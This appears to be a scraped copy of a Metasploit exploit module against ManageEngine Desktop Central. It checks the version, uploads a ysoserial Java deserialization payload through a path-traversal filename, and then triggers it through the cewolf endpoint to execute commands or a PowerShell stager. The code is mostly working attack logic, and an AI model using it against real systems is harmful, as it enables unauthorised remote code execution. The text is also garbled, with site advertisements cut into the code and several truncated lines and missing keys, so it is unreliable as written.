

```
'DisclosureDate' => '2020-03-05', # 0day release
              => MSF_LICENSE,
                   => 'windows',
                   => [ARCH_CMD, ARCH_X86, ARCH_X64],
    'Arch'
                   => true,
    'Targets'
                     => [
       'Arch'
               => ARCH_CMD,
                    => :win_cmd
                => [ARCH_X86, ARCH_X64],
       'Arch'
                   => :win_dropper
               => [ARCH_X86, ARCH_X64],
                  => :psh_stager
   'DefaultTarget'
                   => 2,
   'DefaultOptions' => {
     'RPORT'
                   => 8383,
                   => true,
     'WfsDelay' => 60 # It can take a little while to trigger
   'CmdStagerFlavor' => 'certutil', # This works without issue
                    => {
     'PatchedVersion' => Gem::Version.new('100474'),
     'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
     'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail
     'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
 register_options([
   OptString.new('TARGETURI', [true, 'Base path', '/'])
 ])
end
def check
 res = send_request_cgi(
   'method' => 'GET',
   'uri'
           => normalize_uri(target_uri.path, 'configuration
                                                                                         ×
 unless res
   return CheckCode::Unknown('Target is not responding to chec
 end
                                                               Vulnerability Notification
                                                                        Service
 unless res.code == 200 & amp; & amp; res.body.include?('ManageEn
                                                              You don't have to wait for vulnerability
   return CheckCode::Unknown('Target is not running Desktop Ce
                                                                      scanning results
 end
                                                                       Get Started
 version = res.get_html_document.at('//input[@id = "buildNum"]
```

```
unless version
    return CheckCode::Detected('Could not detect Desktop Central version')
  end
  vprint_status("Detected Desktop Central version #{version}")
  if Gem::Version.new(version) < notes['PatchedVersion']
    return CheckCode::Appears("#{version} is an exploitable version")
  end
  CheckCode::Safe("#{version} is not an exploitable version")
end
def exploit
  print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
  case target['Type']
  when :win cmd
    execute_command(payload.encoded)
  when :win_dropper
    execute_cmdstager
  when :psh_stager
    execute_command(cmd_psh_payload(
      payload.encoded,
      payload.arch.first,
      remove_comspec: true
    ))
  end
end
def execute_command(cmd, _opts = {})
  cmd.prepend('cmd.exe /c ') if target['Type'] == :win_dropper
  vprint_status("Serializing command: #{cmd}")
  serialized_payload = Msf::Util::JavaDeserialization.ysoserial_payload(
    cmd
  serialized_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7
                                                                      Vulnerability Notification
                                                                                Service
  upload_serialized_payload(serialized_payload)
                                                                     You don't have to wait for vulnerability
  deserialize_payload
                                                                              scanning results
                                                                               Get Started
def upload_serialized_payload(serialized_payload)
  print_status('Uploading serialized payload')
```

```
res = send_request_cgi(
     'method' => 'POST',
     'uri'
                 => normalize_uri(target_uri.path,
     'ctype' => 'application/octet-stream',
'vars_get' => {
                => 'si\\..\\..\\webapps\\DesktopCentral\\_chart',
       'filename' => 'logger.zip'
                => serialized_payload
   unless res && res.code == 200
     fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
   end
   print_good('Successfully uploaded serialized payload')
   register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
 end
 def deserialize_payload
   print_status('Deserializing payload')
   res = send_request_cgi(
     'method' => 'GET',
               => normalize_uri(target_uri.path, 'cewolf/'),
     'vars_get' => {'img' => '\\logger.zip'}
   unless res && res.code == 200
     fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
   print_good('Successfully deserialized payload')
 end
end
```

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comprehensive vulnerability information	Product List Vendor List		





